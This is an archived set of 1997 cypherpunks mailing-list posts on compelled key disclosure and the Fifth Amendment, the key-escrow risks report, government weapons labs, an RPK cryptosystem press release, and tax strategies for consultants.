~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 22 May 1997 10:14:53 +0800
To: cypherpunks@algebra.com
Subject: "You have the right to remain silent"
In-Reply-To: <199705220049.TAA14688@einstein.ssz.com>
Message-ID: <v03007806afa965623546@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:49 PM -0800 5/21/97, Jim Choate wrote:
>Forwarded message:
>
>> Subject: Re: encryption laws (fwd)
>> From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
>
>> > If they had reasonable cause to believe you had knowledge of the key and
>> > were refusing to divulge it under direct order of the court you would be
>> > held in contempt until you were very old and gray.
>>
>> Yes - the 5th Amendment is useless like all the other consitutional
>>"rights".
>
>The 5th is meant to apply ONLY to persons being accussed of a crime, it is
>not nor was it ever meant to protect non-accussed persons from turning over
>evidence of criminal acts.

So you are saying the police may compel any and all information from
someone just so long as that person has not been formally accused of a
crime?

The Miranda precedent ("you have the right to remain silent...")
establishes that someone under arrest may remain silent. And someone _not_
under arrest is under no obligation to cooperate, unless subpoenaed, right?

The latest example being the Ramsey case in Boulder ("Home of PGP"). Much
is made of the fact that the Ramseys, not being under arrest, are not
required to *say anything* to the police. (Left unanswered is why innocent
parents whose daughter has been brutally murdered would choose to say
nothing to the police...even I, a skeptic about much that modern cops are
involved in, am suspicious of the Ramseys for their noncooperativeness.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Davidson <abd@cdt.org>
Date: Thu, 22 May 1997 07:27:14 +0800
To: cypherpunks@cyberpass.net
Subject: Report: The Risks of Key Recovery
Message-ID: <v03020921afa92ec05b77@[207.226.3.11]>
MIME-Version: 1.0
Content-Type: text/plain



An experts' study of the risks presented by key escrow and key recovery was
released this morning and is now available on the Web at

		http://www.crypto.com/key_study/

Thought some of you folks might find this interesting.

Regards,

	Alan

-----------------

THE RISKS OF KEY RECOVERY, KEY ESCROW, AND TRUSTED THIRD PARTY ENCRYPTION

        Report By Leading Cryptographers and Computer Scientists Says
            Government Encryption Plan Is Risky and Impractical

On Wednesday May 21, a group of leading cryptographers and computer
scientists released a report examining the risks and implications of
government-driven key-recovery systems.

The report cautions that, "The deployment of a general key-recovery-based
encryption infrastructure to meet law enforcement's stated requirements
will result in substantial sacrifices in security and cost to the end user.
Building a secure infrastructure of the breathtaking scale and complexity
demanded by these requirements is far beyond the experience and current
competency of the field."

The report's authors, recognized leaders in the fields of cryptography and
computer science, include Hal Abelson, Ross Anderson, Steven M. Bellovin,
Josh Benaloh, Matt Blaze, Whitfield Diffie, John Gilmore, Peter G. Neumann,
Ronald L. Rivest, Jeffery I. Schiller, and Bruce Schneier.

HOW TO OBTAIN A COPY OF THE REPORT

The report is available online at http://www.crypto.com/key_study/
and printed copies will also be available through the Center for
Democracy and Technology.

FOR MORE INFORMATION

If you have any questions or would like additional information, please
contact Alan Davidson at CDT, 202.637.9800 <abd@cdt.org>.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 22 May 1997 10:23:38 +0800
To: cypherpunks@algebra.com
Subject: Re: Cypherpunk criminalization
In-Reply-To: <97052117355649/0005514706DC6EM@mcimail.com>
Message-ID: <v03007807afa968fc0dbe@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:41 PM -0800 5/21/97, Kent Crispin wrote:

>I don't think this problem can be "fixed" in any meaningful way.  You
>just argued that the problem is a consequence of "perfectly logical
>game-theoretic reasons".  There is nothing in the crypto-anarchy

Game-theoretic reasons depends on the rules of the game. Actually, the
rules are already changing, e.g., Clinton's agreement to end welfare in the
next few years, which will without a doubt alter the rules of the game
which have made welfare a viable career for so many millions...these folks
are on the verge of either learning a real trade (doubtful) or starving
(hooray).

But more rules need to change. Many of us (most of us?) expect strong
crypto to be a catalyst for some major changes. You, Kent, obviously
disagree, and push for more government involvement to shore up the existing
rules.

You are not evil, as per my point, but your kind will be swept aside,
possibly violently but probably through a shut-down of the Livermore Labs.

(My spies within LLL tell me of desperate efforts to find alternative
funding sources, e.g., the "Extreme UV" project. Ultimately, hopeless. A
government lab which loses its main raison d'etre cannot reconfigure itself
as a "think tank" for private industry. Gimme a break.)



>The frustrations of the bubba-cypherpunks with their ego-bolstering
>arsenals are yet another symptom, same as the bubba-militiamen.  They
...

Back into my kill file you go, Kent. I had hope that by looking at your
messages after a few weeks of ignoring you I might find something fresher.
Same old insults.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 22 May 1997 10:53:57 +0800
To: Jim Choate <cypherpunks@toad.com
Subject: Re: Compelling a key (fwd)
In-Reply-To: <199705220045.TAA14677@einstein.ssz.com>
Message-ID: <v03007808afa96b4f9980@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:45 PM -0800 5/21/97, Jim Choate wrote:
>Hi Tim,
>
>And here I was believing your speal about being in your kill file, oh well.
>It must be true that nothing is sacred.

Before I even look at the rest of your message, let me make my filtering
policy clear: I freely move people into my filter file, which puts their
messages in my Eudora trash file. These messages are still viewable, unless
I have issued the "Empty Trash" command.

When volumes are low, or I have spare time and/or curiosity, I can look
into the  Trash folder to see what has accumulated. Usually its a lot of
crap from Vulis, and from his shadow, Graham John-Bullers, etc..

Sometimes I move names out of this filter file. "Random reinforcement,"
where they never know whether I'm reading their messages or not, has some
advantages.

(I did this with Kent Crispin just recently.)

On to your message:


>> In practice, I think the Washington, D.C. doctor, Elizabeth X, the woman
>> who refused to say where her children were, was held for about 2 years, and
>> that this was the all-time record for a contempt case. She was ultimately
>> released when the court concluded she had no intention of cooperating.
>
>Exactly! It is ENTIRELY up to the individual judge who issued the contempt
>citation. If they are pissed enough 2 years will be nothing. As far as I
>have been able to find there are NO statutes, other than that of a statute
>of limitation for a particular type of crime, that limit how long you can
>sit in jail on contempt.


Agreed.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 22 May 1997 09:18:41 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: encryption laws (fwd)
Message-ID: <199705220031.TAA14578@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Date: Wed, 21 May 1997 15:03:32 -0400
> From: tzeruch@ceddec.com

> > If they had reasonable cause to believe you had knowledge of the key and
> > were refusing to divulge it under direct order of the court you would be
> > held in contempt until you were very old and gray.
> 
> IANAL, but
> 
> You could claim 5th ammendment priviledge - they would have to give
> immunity from any prosecution relating to the contents.
> 

The 5th ONLY applies if you are being accussed AND immunity is not granted.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 22 May 1997 09:23:55 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: encryption laws (fwd)
Message-ID: <199705220036.TAA14603@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> From: frissell@panix.com
> Date: Wed, 21 May 1997 07:45:35 -0400

> >If they had reasonable cause to believe you had knowledge of the key and
> >were refusing to divulge it under direct order of the court you would be
> >held in contempt until you were very old and gray.

> Two years max.  A lot less time if you followed my strategy of spamming the 
> court with daily (hourly?) screeds in which you assert in your finest Usenet 
> flame language the fact that you will never follow the judge's order.

Your contention is that the longest a judge can hold you on contempt charges
is two years? I would love to see a reference on this one.


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cyberdog <eric@clever.net>
Date: Thu, 22 May 1997 08:01:06 +0800
To: cypherpunks@algebra.com
Subject: Re: Anonymous remailers:  A call to arms wanted
In-Reply-To: <3382463a.1158385@news.nr.infi.net>
Message-ID: <v03102800afa938d943f4@[204.249.244.13]>
MIME-Version: 1.0
Content-Type: text/plain


>Anonymous remailers protect speakers from retaliation. The Founders used
>anonymity, as the pseudonymous writings in the Federalist Papers show.
>
>Granted, some anonymous posts are drivel, some are even illegal.
>
>So?
>

The Antifederalist writers used pen-names too, and recent events make thier
arguments interesting.

http://colossus.net/wepinsto/rot/afp/index.html

Index to the Antifederalist Papers



       Antifederalist No. 1 GENERAL INTRODUCTION: A DANGEROUS PLAN OF BENEFIT
       ONLY TO THE "ARISTOCRATICK COMBINATION"
       Antifederalist No. 2 "WE HAVE BEEN TOLD OF PHANTOMS"
       Antifederalist No. 3 NEW CONSTITUTION CREATES A NATIONAL GOVERNMENT;
       WILL NOT ABATE FOREIGN INFLUENCE; DANGERS OF CIVIL WAR AND DESPOTISM
       Antifederalist No. 4 FOREIGN WARS, CIVIL WARS, AND INDIAN WARS - THREE
       BUGBEARS
       Antifederalist No. 5 SCOTLAND AND ENGLAND - A CASE IN POINT
       Antifederalist No. 6 THE HOBGOBLINS OF ANARCHY AND DISSENSIONS AMONG THE
       STATES
       Antifederalist No. 7 ADOPTION OF THE CONSTITUTION WILL LEAD TO CIVIL
WAR
       Antifederalist No. 8 "THE POWER VESTED IN CONGRESS OF SENDING TROOPS FOR
       SUPPRESSING INSURRECTIONS WILL ALWAYS ENABLE THEM TO STIFLE THE
       FIRST STRUGGLES OF FREEDOM"
....








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 22 May 1997 09:41:58 +0800
To: cypherpunks@toad.com
Subject: Compelling a key (fwd)
Message-ID: <199705220045.TAA14677@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi Tim,

And here I was believing your speal about being in your kill file, oh well.
It must be true that nothing is sacred.

Forwarded message:

> Date: Tue, 20 May 1997 22:33:35 -0800
> From: Tim May <tcmay@got.net>
> Subject: Compelling a key

> >> Would it be possible for a court to subpeona a encrypted file or key,
> >>
> >> and order you to tell them the key ?
> >> If you didn't would you be held in 'contempt of court' ?
> >
> >If they had reasonable cause to believe you had knowledge of the key and
> >were refusing to divulge it under direct order of the court you would be
> >held in contempt until you were very old and gray.
> 
> Not necessarily. Mike Godwin, and others, have written about the
> "compelling of keys." It is by no means clear that a key can be compelled.
> Citing the Fifth is one approach, saying one "forgot" is another.

Citing the 5th ONLY works if no immunity from prosecution for the results
is offered. If the judge offers and you refuse, don't worry about buying
toothpaste for many years.

Saying you 'forgot' will not keep you out of jail on contempt. It might
buy you sympathy from the jury but then again, they have nothing to say
about contempt charges.

> As to being held indefinitely, imprisonment as an inducement to cooperation
> has limits. (I just saw a spiel by Alan Dershowitz and others on this
> tonight, vis-a-vis how long Susan McDougal can be imprisoned for contempt
> in the Whitewater investigation.)
> 
> Basically, only until there is no reasonable expectation that the contempt
> will be satisfied (or whatever the exact term is).
>
> In practice, I think the Washington, D.C. doctor, Elizabeth X, the woman
> who refused to say where her children were, was held for about 2 years, and
> that this was the all-time record for a contempt case. She was ultimately
> released when the court concluded she had no intention of cooperating.

Exactly! It is ENTIRELY up to the individual judge who issued the contempt
citation. If they are pissed enough 2 years will be nothing. As far as I
have been able to find there are NO statutes, other than that of a statute
of limitation for a particular type of crime, that limit how long you can
sit in jail on contempt.

The only way you would get out in that case would be to file with the
appropriate courts for a writ of habeas corpus.

                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 22 May 1997 09:38:22 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: encryption laws (fwd)
Message-ID: <199705220049.TAA14688@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Subject: Re: encryption laws (fwd)
> From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)

> > If they had reasonable cause to believe you had knowledge of the key and
> > were refusing to divulge it under direct order of the court you would be
> > held in contempt until you were very old and gray.
> 
> Yes - the 5th Amendment is useless like all the other consitutional "rights".

The 5th is meant to apply ONLY to persons being accussed of a crime, it is
not nor was it ever meant to protect non-accussed persons from turning over
evidence of criminal acts.


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 22 May 1997 10:14:54 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: Hey, what does this mean?
In-Reply-To: <Pine.GSO.3.95.970521163045.13177M-100000@ece>
Message-ID: <Pine.BSF.3.91.970521204223.26894E-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




Didn't a member of congress describe, in session, in detail, how to make a
bomb, quoting instructions found on the Internet? Wouldn't this make
possesion of the Congressional Record a felony? Anybody able to cite this
reference? 

-r.w.

On Wed, 21 May 1997, Ryan Anderson wrote:

> On Tue, 20 May 1997, Tim May wrote:
> 
> > Anybody know what this means?
> 
> > According to Arlington detective Tom DeGongue, Aaron was charged Monday in
> > Arlington Circuit Court with one felony count of possession of bomb-making
> > instructions and one misdemeanor count of resisting arrest. According to
> 
> Felony count of possession of bomb-making instructions?  *INSTRUCTIONS*?
> 
> he'll be on the streets tomorrow, no charges pressed.
> 
> -----------------------------------------------------------------------
> Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
> Wayne State University - CULMA   "May you live in interesting times.."
> randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
> PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> -----------------------------------------------------------------------
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Thu, 22 May 1997 10:07:16 +0800
To: cypherpunks@manifold.algebra.com
Subject: Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next Generation Wireless Electronic Transactions (fwd)
Message-ID: <199705220159.UAA23432@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from Jack Oswald -----

>From cpunks@manifold.algebra.com  Wed May 21 01:48:18 1997
Message-ID: <01BC6572.43D8F3A0@1Cust125.Max9.San-Francisco2.CA.MS.UU.NET>
From: Jack Oswald <joswald@rpkusa.com>
To: "'joswald@rpkusa.com'" <joswald@rpkusa.com>,
        "'maujacca@iprolink.ch'"
	 <maujacca@iprolink.ch>
Subject: Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next Generation Wireless Electronic Transactions
Date: Tue, 20 May 1997 18:41:20 -0700
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Sender: owner-cypherpunks@toad.com
Precedence: bulk

Also see recent press coverage in Infoworld:

RPK announces deal for fast crypto with Swiss consortium
http://www.infoworld.com/cgi-bin/displayStory.pl?97059.wrpk.htm=20

SET 2.0 on the way
http://www.infoworld.com/cgi-bin/displayArchive.pl?/97/16/t04-16.1.htm=20

PRESS RELEASE

For Release May 19, 1997

RPK, Inc.: 	Jack Oswald, +1 408.479.7874, joswald@rpkusa.com, =
http://www.rpk.co.nz=20
ADESA, Inc.: 	Maurice Jaccard,+41 22.910.29.14, maujacca@iprolink.ch


Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next =
Generation Wireless Electronic Transactions
Swiss Federal Institute of Technology (EPFL) and ADESA, Inc. introduce =
HAWK VLSI cryptography-enhanced processor

San Francisco, CA - RPK, Inc. announced today that a consortium of the =
Swiss Federal Institute of Technology (EPFL) and ADESA, Inc., a Swiss =
application specific integrated circuit (ASIC) design firm have chosen =
the RPK Fast Public Key Cryptosystem to provide strong cryptographic =
security in a next generation wireless electronic transactions =
application.  At the same time, EPFL and ADESA unveiled HAWK a new =
generation cryptography-enhanced microprocessor specifically designed =
for use in high speed/low power embedded applications.

"The RPK encryption technology won the design review after an extensive =
evaluation of all existing cryptosystems based on well known and =
understood cryptographic techniques," said Maurice Jaccard, Managing =
Director of ADESA, Inc. "With RPK there are no compromises. We get =
uncompromised security, high speed and low cost of implementation."

"RPK is a strong encryption technology based on well know and trusted =
cryptographic techniques," said Jack Oswald, President and CEO of RPK =
Inc. "Having RPK chosen by the Swiss for this breakthrough =
electronic-commerce application is the strongest endorsement we could =
possibly achieve for the RPK technology."


Wireless Electronic Transactions Application

The collaboration of RPK, EPFL and ADESA has resulted in a prototype =
application that promises to become the "wallet of the future".  This =
new wireless electronic transaction application may take the form of a =
credit card, a watch or a key chain and will sport features analogous to =
the leather wallets used today by billions of people worldwide.  Early =
designs of the system allow the user to withdraw and hold cash in =
multiple currencies, as well as, purchase and hold vouchers for hotels, =
planes and car rentals all through the use of wireless communications =
technology.  Officials in charge of the project envision that such =
devices could also become a personal key chain for gaining access to =
motor vehicles, offices and dwellings, in addition to traditional credit =
card uses.

ADESA concluded that performance of the RPK implementation in the =
prototype far exceeded existing smart card implementations based on the =
RSA and other algorithms.  The RPK technology performs the necessary =
encryption functions in less than 10 milliseconds using an 823-bit key =
compared to the best performing RSA-based equivalents that require =
greater than 100 milliseconds to perform the same type of function using =
a much weaker 512-bit key.  The application is not limited to 823-bit =
keys.  The design of the system, based on the new HAWK processor is =
flexible and can accommodate and process various sized keys, smaller or =
larger than 823 bits based on downloadable parameters.  ADESA officials =
explained that the simplicity of the RPK algorithm makes it much simpler =
to implement than the popular RSA approach.  It was RPK's simplicity, =
offering a much faster and cheaper solution while providing even higher =
security, that drove the choice over RSA for this application. =20


About the RPK Fast Public Key Cryptosystem

RPK is a relatively new public key cryptosystem  that is based on =
mathematics widely used in cryptography today.  It was designed to be =
immediately commercially viable without the years of study that a new =
area of mathematics normally requires, such as the Elliptic Curve =
Cryptosystem (ECC).  The source of the security for RPK is the same as =
that of Diffie-Hellman key exchange, a widely used and well studied =
cryptographic technique. RPK offers real advantages for high speed =
networking, SmartCard, wireless communication applications as well as =
high volume software processes such as credit card transactions.=20

RPK has at its core an invention called a Mixture Generator.  In the =
preferred implementation, three fairly long linear feedback shift =
registers are used.  This state machine has two modes of operation.  One =
that uses the shift registers for exponentiation and the other as a =
generator of a random stream of bits used in a combining phase for the =
actual encryption.  Effectively, RPK allows for the amortization of two =
"costly" exponentiations over the entire length of a message because the =
core engine is used to initially establish a secure state of the machine =
and then switches modes to perform very high speed encryption.  This has =
been referred to as a paradigm shift where the operation of encryption =
does not require the costly calculations that an RSA or even an ECC =
implementation would require for each block of data that is about the =
size of the key.  This mechanism can also be implemented in silicon =
quite efficiently such that at high strength it is much cheaper to =
produce than alternative technologies.  Finally, it is also possible to =
create a Mixture Generator that is made up of Elliptic Curve groups =
which would provide a similarly speedy and efficient initialization mode =
that could still produce high speed encryption as noted above.


About the HAWK VLSI Crypto Processor

The HAWK VLSI cryptography-enhanced processor is the result of more than =
three years of research and development conducted at the EPFL in =
Lausanne, Switzerland in the area of high speed compression and =
encryption.  The HAWK processor will benefit most cryptography =
implementations but is particularly well suited for use with RPK.

"The HAWK processor is the most innovative approach that we have seen =
yet for implementing cryptographic processes in silicon," said Bill =
Raike, Chief Technology Officer for RPK Inc. and inventor of the RPK =
fast public key cryptosystem.  "HAWK breaks the barrier for high speed, =
low cost, low power and high strength encryption for embedded systems."



Background

RPK, Inc. is a supplier of next generation fast public key encryption =
technology.  RPK was invented and originally patented in New Zealand.  =
The company is therefore unaffected by restrictive U.S. export rules.  =
RPK has been successfully exported to virtually all countries of the =
world at high strength.  The company's headquarters are based in San =
Francisco, California, USA, with an offshore research and development =
center located outside of Auckland, New Zealand. http://www.rpk.co.nz=20

ADESA, Inc. is a leading ASIC design firm based in Geneva, Switzerland =
with expertise in embedded and cryptographic applications.

EPFL is a leading teaching and research technical institute in Lausanne, =
Switzerland.  The school is known for its work in advanced processor =
design.


***

----- End of forwarded message from Jack Oswald -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 22 May 1997 12:22:32 +0800
To: Kent Crispin <cypherpunks@algebra.com
Subject: Re: Cypherpunk criminalization
In-Reply-To: <97052117355649/0005514706DC6EM@mcimail.com>
Message-ID: <v0300780cafa971508a52@[207.94.249.80]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:41 PM -0700 5/21/97, Kent Crispin wrote:
>On Wed, May 21, 1997 at 11:41:08AM -0800, Tim May wrote:
>> There are perfectlylogical game-theoretic reasons why the Washington
>> bureaucracy has gotten so large, why every one of the 500+ Congresscritters
>> has a staff of dozens working for him or her, why each of the dozen or so
>> major Cabinet departments has dozens of buildings and thousands (even
>> millions, as with DoD) of worker bees, why each entity in government seeks
>> constantly to expand its scope and powers, and why the number of rules,
>> regulations, laws, emergency orders, and edicts expands inexorably every
>> day.
>
>I don't think this problem can be "fixed" in any meaningful way.  You
>just argued that the problem is a consequence of "perfectly logical
>game-theoretic reasons".

I expect Kent is right.  Fixing the problem is a bit like closing tax
loopholes, as soon as you close the ones people are using, a lot of very
smart, motivated people start looking for new ones.  In the case of
personal power, the same thing happens.  You have a revolution (peaceful*
or otherwise) and the power relationships get stirred up and there is
enough looseness in the system so people can breath freely.  Then the power
hungry start learning how to work the new system and the looseness goes
away and you are back, more or less where you started.  I think Thomas
Jefferson said something about this.

* Peaceful revolutions since 1950 in the USA: (1) Civil Rights/Vietnam war
- Civil disobedience and reasoned argument changed the moral compass of the
nation over the opposition of the bureaucracy, congress, and the president.
(2) Repeal of the federal 55 MPH speed limit.  Massive law breaking caused
the politicians to support an issue over the massed opposition of the
bureaucrats and beltway bandits.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 22 May 1997 12:51:08 +0800
To: cypherpunks@algebra.com
Subject: Nuking the Weapons Labs
In-Reply-To: <v03007807afa968fc0dbe@[207.167.93.63]>
Message-ID: <v03007809afa988c9868b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:07 PM -0800 5/21/97, Willaim H. Geiger III wrote:

>In <v03007807afa968fc0dbe@[207.167.93.63]>, on 05/21/97
>   at 09:16 PM, Tim May <tcmay@got.net> said:
>
>>(My spies within LLL tell me of desperate efforts to find alternative
>>funding sources, e.g., the "Extreme UV" project. Ultimately, hopeless. A
>>government lab which loses its main raison d'etre cannot reconfigure
>>itself as a "think tank" for private industry. Gimme a break.)
>
>
>"think" and "government" should never be used in the same paragraph. I was
>laughing so hard at the prospects of government drones trying to compete
>in the private sector I pulled a muscle.

Believe it. I suspect the "we can help you" program Kent Crispin is working
on (some form of key recovery) is just such a program. When we hire people
to design and build H-bombs and they instead collect their paychecks by
working on "key recovery" schemes for Big Brother, something is drastically
amiss.

(I'm surprised no whistle-blowing journalists are picking up on this story.)

Lowell Wood's O-Group (or W-Group...I don't have my papers handy) tried
this some years back, as did the "laser pantography" group. Laser
pantography was one of those technologies the trendy science magazines,
like "Science '86" and "High Technology" once gushed over as being
TEOSVASWKI (The End Of Silicon Valley As We Know It). Not very
surprisingly, laser pantography is nowhere to be seen.

And there was the attempted commercialization of LLL's (alleged) CAD tools.
Silvar-Lisco was the name I recall from those days, c. 1984-86, though I
may be confusing it with another of the late-lamented CAD companies.

And the S-1 supercomputer project, using all of the above-named G-job
technologies.

None of these "commercialization" efforts went anywhere, nor was it ever
appropriate for taxpayer-funded labs to enter into competition with
privately-funded enterprises like Cadence, Daisy, Cray, etc.

To be sure, LLL and LANL do pretty nice jobs of making hydrogen bombs. Now
that H-bombs are passe, "remediation" is one way they're seeking contracts
to survive. (Remediation of nuclear waste and existing weapons.)

And things like the Extreme UV project. Look for an announcement soon.

Hey, it's seemingly a good idea for these national labs, paid for by the
taxpayers, to "do work for industry." However, a moment's thought will
point out the problems implicit in such deals: if they do the Extreme UV
work for Intel, say, what about TI and Motorola?.

And an even better thing to tell them is this:

"You did your work well. The Cold War is over. No job lasts forever, not in
Detroit, not in Seattle, and not in Livermore. Thank you, and good luck in
the private sector. Your work here is done."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Gilchrist <dgilx@mindspring.com>
Date: Thu, 22 May 1997 10:19:45 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Just Say "No" to Congress
Message-ID: <1.5.4.32.19970522020304.006b9780@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:26 PM 5/21/97 -0400, Ray Arachelian wrote:
>On Sun, 18 May 1997, Vladimir Z. Nuri wrote:
>
>> R.A.:
>> >You seem to be misinformed.  You don't send your money to Uncle Sam.  It 
>> >gets taken out of every pay check before you even see it.   Then, come 
>> >April 15, you fill a piece of paper out with the hope you'll get some of 
>> >it back.  But sometimes, Uncle Sam takes even more.

Don't do it.  Work for yourself.  You make four payments a year. 

<snip>

>I myself consult out.  Consulting out means that the money isn't taken 
>out at all.  You just have to pay it back come April 15.  Day job, being 
>a full time job, money gets taken out automagically by the evil agents 
>of the IRS critters.  Consulting money, come the 1099 form, gets taxed 
>after.

Incorporate and you don't even get a 1099.  

>
>So even if you manage to upturn this law and get to keep the money until 
>April 15, it wouldn't affect me much.  IMHO it's much easier if the money 
>gets withheld, then having to pull hairs out doing tax forms come April.
>

Turbotax is hairless, painless and stupid proof. I know. I use it.

>Now if you can somehow repeal income tax, that would be a useful 
>achievement. :)

Consulting out is on the right track.  While you are waiting for the income
tax laws to change, _take advantage_ of what is lawfully available.  Crispin
wouldn't have a clue on this one.  Incorporate.  Any state.  It's cheap.
You can avoid some social security taxes for a system that won't be there in
few years anyway.  Remember when you could refile back a year or two if you
had a bad year (income averaging)?  A corporation can carry a loss back 15
years or *forward* , too, _and_ get a tax refund practically instantly.  It
is imho the levelest playing field available for the individual (wearing the
impenetrable corporate cloak (no shit, bulletproof), impenetrable even by
the irs) against taxation.  As for tax forms in April, use Turbotax.  You
don't have to know shit and it does complicated things for you like
depreciation.  Depreciate your car, your home office etc.  Own your assets
personally and lease them to your corporation.  Rents are free of social
security taxes.  Your car, your office etc.  With a little imagination you
may be able to make it fit your situation. If you're straight salary, _no_
other (reportable) income, you may be pretty much screwed but paying them
when you don't have to doesn't make much sense.
>
<snip>
>> I don't buy into the alienation and cynicism on this list peddled
>> by TCM, truthmonger, et.al., and I suggest that anyone else who
>> does is selling themself short, and in fact part of the problem and
>> not the solution.

That's my point, use them when you can.
>
>"If you're not part of the solution, you're part of the precipitate"  --
>whomever.. Say, whatever you've been smoking,

precipitate

David





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
Date: Thu, 22 May 1997 11:49:03 +0800
To: cypherpunks@toad.com
Subject: (Fwd) key recovery report, information hiding, and fire ants
Message-ID: <199705220314.WAA13532@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain


------- Forwarded Message Follows -------
Date:          Wed, 21 May 1997 09:45:53 -0700 (PDT)
